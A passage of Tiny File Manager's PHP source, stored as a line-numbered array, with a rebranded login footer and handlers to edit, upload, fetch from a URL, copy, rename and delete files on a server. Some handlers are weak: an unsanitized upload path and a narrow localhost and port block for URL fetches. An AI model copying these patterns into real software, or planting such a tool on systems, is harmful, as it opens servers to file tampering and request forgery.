width=\"100%\" height=\"80px\" viewBox=\"0 0 238.000000 140.000000\" aria-label=\"H3K Tiny File Manager\">", 305 => "                                                <g transform=\"translate(0.000000,140.000000) scale(0.100000,-0.100000)\" fill=\"#000000\" stroke=\"none\">", 306 => "                                                    <path d=\"M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z\"/>", 307 => "                                                    <path fill=\"#003500\" d=\"M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z\"/>", 308 => "                                                    <path d=\"M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z\"/></g>", 309 => "                                            </svg>", 310 => "                                        </div>", 311 => "                                        <div class=\"text-center\">", 312 => "                                            <h1 class=\"card-title\"><?php echo APP_TITLE; ?></h1>", 313 => "                                        </div>", 314 => "                                    </div>", 315 => "                                    <hr />", 316 => "                                    <div class=\"form-group\">", 317 => "                                        <label for=\"fm_usr\"><?php echo lng('Username'); ?></label>", 318 => "                                        <input type=\"text\" class=\"form-control\" id=\"fm_usr\" name=\"fm_usr\" required autofocus>", 319 => "                                    </div>", 320 => "", 321 => "                                    <div class=\"form-group\">", 322 => "                                        <label for=\"fm_pwd\"><?php echo lng('Password'); ?></label>", 323 => "                                        <input type=\"password\" class=\"form-control\" id=\"fm_pwd\" name=\"fm_pwd\" required>", 324 => "                                    </div>", 325 => "", 326 => "                                    <div class=\"form-group\">", 327 => "                                        <?php fm_show_message(); ?>", 328 => "                                    </div>", 329 => "", 330 => "                                    <div class=\"form-group\">", 331 => "                                        <button type=\"submit\" class=\"btn btn-success btn-block mt-4\" role=\"button\">", 332 => "                                            <?php echo lng('Login'); ?>", 333 => "                                        </button>", 334 => "                                    </div>", 335 => "                                </form>", 336 => "                            </div>", 337 => "                        </div>", 338 => "                        <div class=\"footer text-center\">", 339 => "                            &mdash;&mdash; &copy;", 340 => "                            <a href=\"https://tinyfilemanager.github.io/\" target=\"_blank\" class=\"text-muted\" data-version=\"<?php echo VERSION; ?>\">CCP Programmers</a> &mdash;&mdash;", 341 => "                        </div>", 342 => "                    </div>", 343 => "                </div>", 344 => "            </div>", 345 => "        </section>", 346 => "", 347 => "        <?php", 348 => "        fm_show_footer_login();", 349 => "        exit;", 350 => "    }", 351 => "}", 352 => "", 353 => "// update root path", 354 => "if (\$use_auth && isset(\$_SESSION[FM_SESSION_ID]['logged'])) {", 355 => "    \$root_path = isset(\$directories_users[\$_SESSION[FM_SESSION_ID]['logged']]) ? \$directories_users[\$_SESSION[FM_SESSION_ID]['logged']] : \$root_path;", 356 => "}", 357 => "", 358 => "// clean and check \$root_path", 359 => "\$root_path = rtrim(\$root_path, '\\\\/');", 360 => "\$root_path = str_replace('\\\\', '/', \$root_path);", 361 => "if (!@is_dir(\$root_path)) {", 362 => "    echo \"<h1>\".lng('Root path').\" \\\"{\$root_path}\\\" \".lng('not found!').\" </h1>\";", 363 => "    exit;", 364 => "}", 365 => "", 366 => "defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', \$show_hidden_files);", 367 => "defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', \$root_path);", 368 => "defined('FM_LANG') || define('FM_LANG', \$lang);", 369 => "defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', \$allowed_file_extensions);", 370 => "defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', \$allowed_upload_extensions);", 371 => "defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize(\$exclude_items) : \$exclude_items));", 372 => "defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', \$online_viewer);", 373 => "define('FM_READONLY', \$use_auth && !empty(\$readonly_users) && isset(\$_SESSION[FM_SESSION_ID]['logged']) && in_array(\$_SESSION[FM_SESSION_ID]['logged'], \$readonly_users));", 374 => "define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\\\');", 375 => "", 376 => "// always use ?p=", 377 => "if (!isset(\$_GET['p']) && empty(\$_FILES)) {", 378 => "    fm_redirect(FM_SELF_URL . '?p=');", 379 => "}", 380 => "", 381 => "// get path", 382 => "\$p = isset(\$_GET['p']) ? \$_GET['p'] : (isset(\$_POST['p']) ? \$_POST['p'] : '');", 383 => "", 384 => "// clean path", 385 => "\$p = fm_clean_path(\$p);", 386 => "", 387 => "// for ajax request - save", 388 => "\$input = file_get_contents('php://input');", 389 => "\$_POST = (strpos(\$input, 'ajax') != FALSE && strpos(\$input, 'save') != FALSE) ? json_decode(\$input, true) : \$_POST;", 390 => "", 391 => "// instead globals vars", 392 => "define('FM_PATH', \$p);", 393 => "define('FM_USE_AUTH', \$use_auth);", 394 => "define('FM_EDIT_FILE', \$edit_files);", 395 => "defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', \$iconv_input_encoding);", 396 => "defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', \$use_highlightjs);", 397 => "defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', \$highlightjs_style);", 398 => "defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', \$datetime_format);", 399 => "", 400 => "unset(\$p, \$use_auth, \$iconv_input_encoding, \$use_highlightjs, \$highlightjs_style);", 401 => "", 402 => "/*************************** ACTIONS ***************************/", 403 => "", 404 => "// AJAX Request", 405 => "if (isset(\$_POST['ajax']) && !FM_READONLY) {", 406 => "", 407 => "    // save", 408 => "    if (isset(\$_POST['type']) && \$_POST['type'] == \"save\") {", 409 => "        // get current path", 410 => "        \$path = FM_ROOT_PATH;", 411 => "        if (FM_PATH != '') {", 412 => "            \$path .= '/' . FM_PATH;", 413 => "        }", 414 => "        // check path", 415 => "        if (!is_dir(\$path)) {", 416 => "            fm_redirect(FM_SELF_URL . '?p=');", 417 => "        }", 418 => "        \$file = \$_GET['edit'];", 419 => "        \$file = fm_clean_path(\$file);", 420 => "        \$file = str_replace('/', '', \$file);", 421 => "        if (\$file == '' || !is_file(\$path . '/' . \$file)) {", 422 => "            fm_set_msg(lng('File not found'), 'error');", 423 => "            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 424 => "        }", 425 => "        header('X-XSS-Protection:0');", 426 => "        \$file_path = \$path . '/' . \$file;", 427 => "", 428 => "        \$writedata = \$_POST['content'];", 429 => "        \$fd = fopen(\$file_path, \"w\");", 430 => "        \$write_results = @fwrite(\$fd, \$writedata);", 431 => "        fclose(\$fd);", 432 => "        if (\$write_results === false){", 433 => "            header(\"HTTP/1.1 500 Internal Server Error\");", 434 => "            die(\"Could Not Write File! - Check Permissions / Ownership\");", 435 => "        }", 436 => "        die(true);", 437 => "    }", 438 => "", 439 => "    //search : get list of files from the current folder", 440 => "    if(isset(\$_POST['type']) && \$_POST['type']==\"search\") {", 441 => "        \$dir = FM_ROOT_PATH;", 442 => "        \$response = scan(fm_clean_path(\$_POST['path']), \$_POST['content']);", 443 => "        echo json_encode(\$response);", 444 => "        exit();", 445 => "    }", 446 => "", 447 => "    // backup files", 448 => "    if (isset(\$_POST['type']) && \$_POST['type'] == \"backup\" && !empty(\$_POST['file'])) {", 449 => "        \$fileName = \$_POST['file'];", 450 => "        \$fullPath = FM_ROOT_PATH . '/';", 451 => "        if (!empty(\$_POST['path'])) {", 452 => "            \$relativeDirPath = fm_clean_path(\$_POST['path']);", 453 => "            \$fullPath .= \"{\$relativeDirPath}/\";", 454 => "        }", 455 => "        \$date = date(\"dMy-His\");", 456 => "        \$newFileName = \"{\$fileName}-{\$date}.bak\";", 457 => "        \$fullyQualifiedFileName = \$fullPath . \$fileName;", 458 => "        try {", 459 => "            if (!file_exists(\$fullyQualifiedFileName)) {", 460 => "                throw new Exception(\"File {\$fileName} not found\");", 461 => "            }", 462 => "            if (copy(\$fullyQualifiedFileName, \$fullPath . \$newFileName)) {", 463 => "                echo \"Backup {\$newFileName} created\";", 464 => "            } else {", 465 => "                throw new Exception(\"Could not copy file {\$fileName}\");", 466 => "            }", 467 => "        } catch (Exception \$e) {", 468 => "            echo \$e->getMessage();", 469 => "        }", 470 => "    }", 471 => "", 472 => "    // Save Config", 473 => "    if (isset(\$_POST['type']) && \$_POST['type'] == \"settings\") {", 474 => "        global \$cfg, \$lang, \$report_errors, \$show_hidden_files, \$lang_list, \$hide_Cols, \$calc_folder, \$theme;", 475 => "        \$newLng = \$_POST['js-language'];", 476 => "        fm_get_translations([]);", 477 => "        if (!array_key_exists(\$newLng, \$lang_list)) {", 478 => "            \$newLng = 'en';", 479 => "        }", 480 => "", 481 => "        \$erp = isset(\$_POST['js-error-report']) && \$_POST['js-error-report'] == \"true\" ? true : false;", 482 => "        \$shf = isset(\$_POST['js-show-hidden']) && \$_POST['js-show-hidden'] == \"true\" ? true : false;", 483 => "        \$hco = isset(\$_POST['js-hide-cols']) && \$_POST['js-hide-cols'] == \"true\" ? true : false;", 484 => "        \$caf = isset(\$_POST['js-calc-folder']) && \$_POST['js-calc-folder'] == \"true\" ? true : false;", 485 => "        \$te3 = \$_POST['js-theme-3'];", 486 => "", 487 => "        if (\$cfg->data['lang'] != \$newLng) {", 488 => "            \$cfg->data['lang'] = \$newLng;", 489 => "            \$lang = \$newLng;", 490 => "        }", 491 => "        if (\$cfg->data['error_reporting'] != \$erp) {", 492 => "            \$cfg->data['error_reporting'] = \$erp;", 493 => "            \$report_errors = \$erp;", 494 => "        }", 495 => "        if (\$cfg->data['show_hidden'] != \$shf) {", 496 => "            \$cfg->data['show_hidden'] = \$shf;", 497 => "            \$show_hidden_files = \$shf;", 498 => "        }", 499 => "        if (\$cfg->data['show_hidden'] != \$shf) {", 500 => "            \$cfg->data['show_hidden'] = \$shf;", 501 => "            \$show_hidden_files = \$shf;", 502 => "        }", 503 => "        if (\$cfg->data['hide_Cols'] != \$hco) {", 504 => "            \$cfg->data['hide_Cols'] = \$hco;", 505 => "            \$hide_Cols = \$hco;", 506 => "        }", 507 => "        if (\$cfg->data['calc_folder'] != \$caf) {", 508 => "            \$cfg->data['calc_folder'] = \$caf;", 509 => "            \$calc_folder = \$caf;", 510 => "        }", 511 => "        if (\$cfg->data['theme'] != \$te3) {", 512 => "            \$cfg->data['theme'] = \$te3;", 513 => "            \$theme = \$te3;", 514 => "        }", 515 => "        \$cfg->save();", 516 => "        echo true;", 517 => "    }", 518 => "", 519 => "    // new password hash", 520 => "    if (isset(\$_POST['type']) && \$_POST['type'] == \"pwdhash\") {", 521 => "        \$res = isset(\$_POST['inputPassword2']) && !empty(\$_POST['inputPassword2']) ? password_hash(\$_POST['inputPassword2'], PASSWORD_DEFAULT) : '';", 522 => "        echo \$res;", 523 => "    }", 524 => "", 525 => "    //upload using url", 526 => "    if(isset(\$_POST['type']) && \$_POST['type'] == \"upload\" && !empty(\$_REQUEST[\"uploadurl\"])) {", 527 => "        \$path = FM_ROOT_PATH;", 528 => "        if (FM_PATH != '') {", 529 => "            \$path .= '/' . FM_PATH;", 530 => "        }", 531 => "", 532 => "         function event_callback (\$message) {", 533 => "            global \$callback;", 534 => "            echo json_encode(\$message);", 535 => "        }", 536 => "", 537 => "        function get_file_path () {", 538 => "            global \$path, \$fileinfo, \$temp_file;", 539 => "            return \$path.\"/\".basename(\$fileinfo->name);", 540 => "        }", 541 => "", 542 => "        \$url = !empty(\$_REQUEST[\"uploadurl\"]) && preg_match(\"|^http(s)?://.+\$|\", stripslashes(\$_REQUEST[\"uploadurl\"])) ? stripslashes(\$_REQUEST[\"uploadurl\"]) : null;", 543 => "", 544 => "        //prevent 127.* domain and known ports", 545 => "        \$domain = parse_url(\$url, PHP_URL_HOST);", 546 => "        \$port = parse_url(\$url, PHP_URL_PORT);", 547 => "        \$knownPorts = [22, 23, 25, 3306];", 548 => "", 549 => "        if (preg_match(\"/^localhost\$|^127(?:\\.[0-9]+){0,2}\\.[0-9]+\$|^(?:0*\\:)*?:?0*1\$/i\", \$domain) || in_array(\$port, \$knownPorts)) {", 550 => "            \$err = array(\"message\" => \"URL is not allowed\");", 551 => "            event_callback(array(\"fail\" => \$err));", 552 => "            exit();", 553 => "        }", 554 => "", 555 => "        \$use_curl = false;", 556 => "        \$temp_file = tempnam(sys_get_temp_dir(), \"upload-\");", 557 => "        \$fileinfo = new stdClass();", 558 => "        \$fileinfo->name = trim(basename(\$url), \".\\x00..\\x20\");", 559 => "", 560 => "        \$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;", 561 => "        \$ext = strtolower(pathinfo(\$fileinfo->name, PATHINFO_EXTENSION));", 562 => "        \$isFileAllowed = (\$allowed) ? in_array(\$ext, \$allowed) : true;", 563 => "", 564 => "        \$err = false;", 565 => "", 566 => "        if(!\$isFileAllowed) {", 567 => "            \$err = array(\"message\" => \"File extension is not allowed\");", 568 => "            event_callback(array(\"fail\" => \$err));", 569 => "            exit();", 570 => "        }", 571 => "", 572 => "        if (!\$url) {", 573 => "            \$success = false;", 574 => "        } else if (\$use_curl) {", 575 => "            @\$fp = fopen(\$temp_file, \"w\");", 576 => "            @\$ch = curl_init(\$url);", 577 => "            curl_setopt(\$ch, CURLOPT_NOPROGRESS, false );", 578 => "            curl_setopt(\$ch, CURLOPT_FOLLOWLOCATION, true);", 579 => "            curl_setopt(\$ch, CURLOPT_FILE, \$fp);", 580 => "            @\$success = curl_exec(\$ch);", 581 => "            \$curl_info = curl_getinfo(\$ch);", 582 => "            if (!\$success) {", 583 => "                \$err = array(\"message\" => curl_error(\$ch));", 584 => "            }", 585 => "            @curl_close(\$ch);", 586 => "            fclose(\$fp);", 587 => "            \$fileinfo->size = \$curl_info[\"size_download\"];", 588 => "            \$fileinfo->type = \$curl_info[\"content_type\"];", 589 => "        } else {", 590 => "            \$ctx = stream_context_create();", 591 => "            @\$success = copy(\$url, \$temp_file, \$ctx);", 592 => "            if (!\$success) {", 593 => "                \$err = error_get_last();", 594 => "            }", 595 => "        }", 596 => "", 597 => "        if (\$success) {", 598 => "            \$success = rename(\$temp_file, get_file_path());", 599 => "        }", 600 => "", 601 => "        if (\$success) {", 602 => "            event_callback(array(\"done\" => \$fileinfo));", 603 => "        } else {", 604 => "            unlink(\$temp_file);", 605 => "            if (!\$err) {", 606 => "                \$err = array(\"message\" => \"Invalid url parameter\");", 607 => "            }", 608 => "            event_callback(array(\"fail\" => \$err));", 609 => "        }", 610 => "    }", 611 => "", 612 => "    exit();", 613 => "}", 614 => "", 615 => "// Delete file / folder", 616 => "if (isset(\$_GET['del']) && !FM_READONLY) {", 617 => "    \$del = str_replace( '/', '', fm_clean_path( \$_GET['del'] ) );", 618 => "    if (\$del != '' && \$del != '..' && \$del != '.') {", 619 => "        \$path = FM_ROOT_PATH;", 620 => "        if (FM_PATH != '') {", 621 => "            \$path .= '/' . FM_PATH;", 622 => "        }", 623 => "        \$is_dir = is_dir(\$path . '/' . \$del);", 624 => "        if (fm_rdelete(\$path . '/' . \$del)) {", 625 => "            \$msg = \$is_dir ? lng('Folder').' <b>%s</b> '.lng('Deleted') : lng('File').' <b>%s</b> '.lng('Deleted');", 626 => "            fm_set_msg(sprintf(\$msg, fm_enc(\$del)));", 627 => "        } else {", 628 => "            \$msg = \$is_dir ? lng('Folder').' <b>%s</b> '.lng('not deleted') : lng('File').' <b>%s</b> '.lng('not deleted');", 629 => "            fm_set_msg(sprintf(\$msg, fm_enc(\$del)), 'error');", 630 => "        }", 631 => "    } else {", 632 => "        fm_set_msg(lng('Invalid file or folder name'), 'error');", 633 => "    }", 634 => "    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 635 => "}", 636 => "", 637 => "// Create folder", 638 => "if (isset(\$_GET['new']) && isset(\$_GET['type']) && !FM_READONLY) {", 639 => "    \$type = \$_GET['type'];", 640 => "    \$new = str_replace( '/', '', fm_clean_path( strip_tags( \$_GET['new'] ) ) );", 641 => "    if (fm_isvalid_filename(\$new) && \$new != '' && \$new != '..' && \$new != '.') {", 642 => "        \$path = FM_ROOT_PATH;", 643 => "        if (FM_PATH != '') {", 644 => "            \$path .= '/' . FM_PATH;", 645 => "        }", 646 => "        if (\$_GET['type'] == \"file\") {", 647 => "            if (!file_exists(\$path . '/' . \$new)) {", 648 => "                if(fm_is_valid_ext(\$new)) {", 649 => "                    @fopen(\$path . '/' . \$new, 'w') or die('Cannot open file:  ' . \$new);", 650 => "                    fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'), fm_enc(\$new)));", 651 => "                } else {", 652 => "                    fm_set_msg(lng('File extension is not allowed'), 'error');", 653 => "                }", 654 => "            } else {", 655 => "                fm_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('already exists'), fm_enc(\$new)), 'alert');", 656 => "            }", 657 => "        } else {", 658 => "            if (fm_mkdir(\$path . '/' . \$new, false) === true) {", 659 => "                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'), \$new));", 660 => "            } elseif (fm_mkdir(\$path . '/' . \$new, false) === \$path . '/' . \$new) {", 661 => "                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('already exists'), fm_enc(\$new)), 'alert');", 662 => "            } else {", 663 => "                fm_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('not created'), fm_enc(\$new)), 'error');", 664 => "            }", 665 => "        }", 666 => "    } else {", 667 => "        fm_set_msg(lng('Invalid characters in file or folder name'), 'error');", 668 => "    }", 669 => "    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 670 => "}", 671 => "", 672 => "// Copy folder / file", 673 => "if (isset(\$_GET['copy'], \$_GET['finish']) && !FM_READONLY) {", 674 => "    // from", 675 => "    \$copy = \$_GET['copy'];", 676 => "    \$copy = fm_clean_path(\$copy);", 677 => "    // empty path", 678 => "    if (\$copy == '') {", 679 => "        fm_set_msg(lng('Source path not defined'), 'error');", 680 => "        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 681 => "    }", 682 => "    // abs path from", 683 => "    \$from = FM_ROOT_PATH . '/' . \$copy;", 684 => "    // abs path to", 685 => "    \$dest = FM_ROOT_PATH;", 686 => "    if (FM_PATH != '') {", 687 => "        \$dest .= '/' . FM_PATH;", 688 => "    }", 689 => "    \$dest .= '/' . basename(\$from);", 690 => "    // move?", 691 => "    \$move = isset(\$_GET['move']);", 692 => "    // copy/move/duplicate", 693 => "    if (\$from != \$dest) {", 694 => "        \$msg_from = trim(FM_PATH . '/' . basename(\$from), '/');", 695 => "        if (\$move) { // Move and to != from so just perform move", 696 => "            \$rename = fm_rename(\$from, \$dest);", 697 => "            if (\$rename) {", 698 => "                fm_set_msg(sprintf(lng('Moved from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc(\$copy), fm_enc(\$msg_from)));", 699 => "            } elseif (\$rename === null) {", 700 => "                fm_set_msg(lng('File or folder with this path already exists'), 'alert');", 701 => "            } else {", 702 => "                fm_set_msg(sprintf(lng('Error while moving from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc(\$copy), fm_enc(\$msg_from)), 'error');", 703 => "            }", 704 => "        } else { // Not move and to != from so copy with original name", 705 => "            if (fm_rcopy(\$from, \$dest)) {", 706 => "                fm_set_msg(sprintf(lng('Copied from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc(\$copy), fm_enc(\$msg_from)));", 707 => "            } else {", 708 => "                fm_set_msg(sprintf(lng('Error while copying from').' <b>%s</b> '.lng('to').' <b>%s</b>', fm_enc(\$copy), fm_enc(\$msg_from)), 'error');", 709 => "            }", 710 => "        }", 711 => "    } else {", 712 => "       if (!\$move){ //Not move and to = from so duplicate", 713 => "            \$msg_from = trim(FM_PATH . '/' . basename(\$from), '/');", 714 => "            \$fn_parts = pathinfo(\$from);", 715 => "            \$extension_suffix = '';", 716 => "            if(!is_dir(\$from)){", 717 => "               \$extension_suffix = '.'.\$fn_parts['extension'];", 718 => "            }", 719 => "            //Create new name for duplicate", 720 => "            \$fn_duplicate = \$fn_parts['dirname'].'/'.\$fn_parts['filename'].'-'.date('YmdHis').\$extension_suffix;", 721 => "            \$loop_count = 0;", 722 => "            \$max_loop = 1000;", 723 => "            // Check if a file with the duplicate name already exists, if so, make new name (edge case...)", 724 => "            while(file_exists(\$fn_duplicate) & \$loop_count < \$max_loop){", 725 => "               \$fn_parts = pathinfo(\$fn_duplicate);", 726 => "               \$fn_duplicate = \$fn_parts['dirname'].'/'.\$fn_parts['filename'].'-copy'.\$extension_suffix;", 727 => "               \$loop_count++;", 728 => "            }", 729 => "            if (fm_rcopy(\$from, \$fn_duplicate, False)) {", 730 => "                fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc(\$copy), fm_enc(\$fn_duplicate)));", 731 => "            } else {", 732 => "                fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc(\$copy), fm_enc(\$fn_duplicate)), 'error');", 733 => "            }", 734 => "       }", 735 => "       else{", 736 => "           fm_set_msg(lng('Paths must be not equal'), 'alert');", 737 => "       }", 738 => "    }", 739 => "    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 740 => "}", 741 => "", 742 => "// Mass copy files/ folders", 743 => "if (isset(\$_POST['file'], \$_POST['copy_to'], \$_POST['finish']) && !FM_READONLY) {", 744 => "    // from", 745 => "    \$path = FM_ROOT_PATH;", 746 => "    if (FM_PATH != '') {", 747 => "        \$path .= '/' . FM_PATH;", 748 => "    }", 749 => "    // to", 750 => "    \$copy_to_path = FM_ROOT_PATH;", 751 => "    \$copy_to = fm_clean_path(\$_POST['copy_to']);", 752 => "    if (\$copy_to != '') {", 753 => "        \$copy_to_path .= '/' . \$copy_to;", 754 => "    }", 755 => "    if (\$path == \$copy_to_path) {", 756 => "        fm_set_msg(lng('Paths must be not equal'), 'alert');", 757 => "        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 758 => "    }", 759 => "    if (!is_dir(\$copy_to_path)) {", 760 => "        if (!fm_mkdir(\$copy_to_path, true)) {", 761 => "            fm_set_msg('Unable to create destination folder', 'error');", 762 => "            fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 763 => "        }", 764 => "    }", 765 => "    // move?", 766 => "    \$move = isset(\$_POST['move']);", 767 => "    // copy/move", 768 => "    \$errors = 0;", 769 => "    \$files = \$_POST['file'];", 770 => "    if (is_array(\$files) && count(\$files)) {", 771 => "        foreach (\$files as \$f) {", 772 => "            if (\$f != '') {", 773 => "                // abs path from", 774 => "                \$from = \$path . '/' . \$f;", 775 => "                // abs path to", 776 => "                \$dest = \$copy_to_path . '/' . \$f;", 777 => "                // do", 778 => "                if (\$move) {", 779 => "                    \$rename = fm_rename(\$from, \$dest);", 780 => "                    if (\$rename === false) {", 781 => "                        \$errors++;", 782 => "                    }", 783 => "                } else {", 784 => "                    if (!fm_rcopy(\$from, \$dest)) {", 785 => "                        \$errors++;", 786 => "                    }", 787 => "                }", 788 => "            }", 789 => "        }", 790 => "        if (\$errors == 0) {", 791 => "            \$msg = \$move ? 'Selected files and folders moved' : 'Selected files and folders copied';", 792 => "            fm_set_msg(\$msg);", 793 => "        } else {", 794 => "            \$msg = \$move ? 'Error while moving items' : 'Error while copying items';", 795 => "            fm_set_msg(\$msg, 'error');", 796 => "        }", 797 => "    } else {", 798 => "        fm_set_msg(lng('Nothing selected'), 'alert');", 799 => "    }", 800 => "    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 801 => "}", 802 => "", 803 => "// Rename", 804 => "if (isset(\$_GET['ren'], \$_GET['to']) && !FM_READONLY) {", 805 => "    // old name", 806 => "    \$old = \$_GET['ren'];", 807 => "    \$old = fm_clean_path(\$old);", 808 => "    \$old = str_replace('/', '', \$old);", 809 => "    // new name", 810 => "    \$new = \$_GET['to'];", 811 => "    \$new = fm_clean_path(strip_tags(\$new));", 812 => "    \$new = str_replace('/', '', \$new);", 813 => "    // path", 814 => "    \$path = FM_ROOT_PATH;", 815 => "    if (FM_PATH != '') {", 816 => "        \$path .= '/' . FM_PATH;", 817 => "    }", 818 => "    // rename", 819 => "    if (fm_isvalid_filename(\$new) && \$old != '' && \$new != '') {", 820 => "        if (fm_rename(\$path . '/' . \$old, \$path . '/' . \$new)) {", 821 => "            fm_set_msg(sprintf(lng('Renamed from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc(\$old), fm_enc(\$new)));", 822 => "        } else {", 823 => "            fm_set_msg(sprintf(lng('Error while renaming from').' <b>%s</b> '. lng('to').' <b>%s</b>', fm_enc(\$old), fm_enc(\$new)), 'error');", 824 => "        }", 825 => "    } else {", 826 => "        fm_set_msg(lng('Invalid characters in file name'), 'error');", 827 => "    }", 828 => "    fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 829 => "}", 830 => "", 831 => "// Download", 832 => "if (isset(\$_GET['dl'])) {", 833 => "    \$dl = \$_GET['dl'];", 834 => "    \$dl = fm_clean_path(\$dl);", 835 => "    \$dl = str_replace('/', '', \$dl);", 836 => "    \$path = FM_ROOT_PATH;", 837 => "    if (FM_PATH != '') {", 838 => "        \$path .= '/' . FM_PATH;", 839 => "    }", 840 => "    if (\$dl != '' && is_file(\$path . '/' . \$dl)) {", 841 => "        fm_download_file(\$path . '/' . \$dl, \$dl, 1024);", 842 => "        exit;", 843 => "    } else {", 844 => "        fm_set_msg(lng('File not found'), 'error');", 845 => "        fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH));", 846 => "    }", 847 => "}", 848 => "", 849 => "// Upload", 850 => "if (!empty(\$_FILES) && !FM_READONLY) {", 851 => "    \$override_file_name = false;", 852 => "    \$f = \$_FILES;", 853 => "    \$path = FM_ROOT_PATH;", 854 => "    \$ds = DIRECTORY_SEPARATOR;", 855 => "    if (FM_PATH != '') {", 856 => "        \$path .= '/' . FM_PATH;", 857 => "    }", 858 => "", 859 => "    \$errors = 0;", 860 => "    \$uploads = 0;", 861 => "    \$allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false;", 862 => "    \$response = array (", 863 => "        'status' => 'error',", 864 => "        'info'   => 'Oops! Try again'", 865 => "    );", 866 => "", 867 => "    \$filename = \$f['file']['name'];", 868 => "    \$tmp_name = \$f['file']['tmp_name'];", 869 => "    \$ext = strtolower(pathinfo(\$filename, PATHINFO_EXTENSION));", 870 => "    \$isFileAllowed = (\$allowed) ? in_array(\$ext, \$allowed) : true;", 871 => "", 872 => "    if(!fm_isvalid_filename(\$filename) && !fm_isvalid_filename(\$_REQUEST['fullpath'])) {", 873 => "        \$response = array (", 874 => "            'status'    => 'error',", 875 => "            'info'      => \"Invalid File name!\",", 876 => "        );", 877 => "        echo json_encode(\$response); exit();", 878 => "    }", 879 => "", 880 => "    \$targetPath = \$path . \$ds;", 881 => "    if ( is_writable(\$targetPath) ) {", 882 => "        \$fullPath = \$path . '/' . \$_REQUEST['fullpath'];", 883 => "        \$folder = substr(\$fullPath, 0, strrpos(\$fullPath, \"/\"));", 884 => "", 885 => "        if(file_exists (\$fullPath) && !\$override_file_name) {", 886 => "            \$ext_1 = \$ext ? '.'.\$ext : '';", 887 => "            \$fullPath = str_replace(\$ext_1, '', \$fullPath) .'_'. date('ymdHis'). \$ext_1;", 888 => "        }", 889 => "", 890 => "        if (!is_dir(\$folder)) {", 891 => "            \$old = umask(0);", 892 => "            mkdir(\$folder, 0777, true);", 893 => "            umask(\$old);", 894 => "        }", 895 => "", 896 => "        if (empty(\$f['file']['error']) && !empty(\$tmp_name) && \$tmp_name != 'none' && \$isFileAllowed) {", 897 => "            if (move_uploaded_file(\$tmp_name, \$fullPath)) {", 898 => "                // Be sure that the file has been uploaded", 899 => "                if ( file_exists(\$fullPath) ) {", 900 => "                    \$response = array (", 901 => "                        'status'    => 'success',", 902 => "                        'info' => \"file upload successful\"", 903 => "                    );", 904 => "                } else {", 905 => "                    \$response = array (", 906 => "                        'status' => 'error',", 907 => "                        'info'   => 'Couldn\\'t upload the requested file.'", 908 => "                    );", 909 => "                }", 910 => "            } else {", 911 => "                \$response = array (", 912 => "                    'status'    => 'error',", 913 => "                    'info'      => \"Error while uploading files. Uploaded files \$uploads\",", 914 => "                );", 915 => "            }", 916 => "        }", 917 => "    } else {", 918 => "        \$response = array (", 919 => "            'status' => 'error',", 920 => "            'info'   => 'The specified folder for upload isn\\'t writeable.'", 921 => "        );", 922 => "    }", 923 => "    // Return the response", 924 => "    echo json_encode(\$response);", 925 => "    exit();", 926 => "}", 927 => "", 928 => "// Mass deleting", 929 => "if (isset(\$_POST['group'], \$_POST['delete']) && !FM_READONLY) {", 930 => "    \$path = FM_ROOT_PATH;", 931 => "    if (FM_PATH != '') {", 932 => "        \$path .= '/' . FM_PATH;", 933 => "    }", 934 => "", 935 => "    \$errors = 0;", 936 => "    \$files = \$_POST['file'];", 937 => "    if 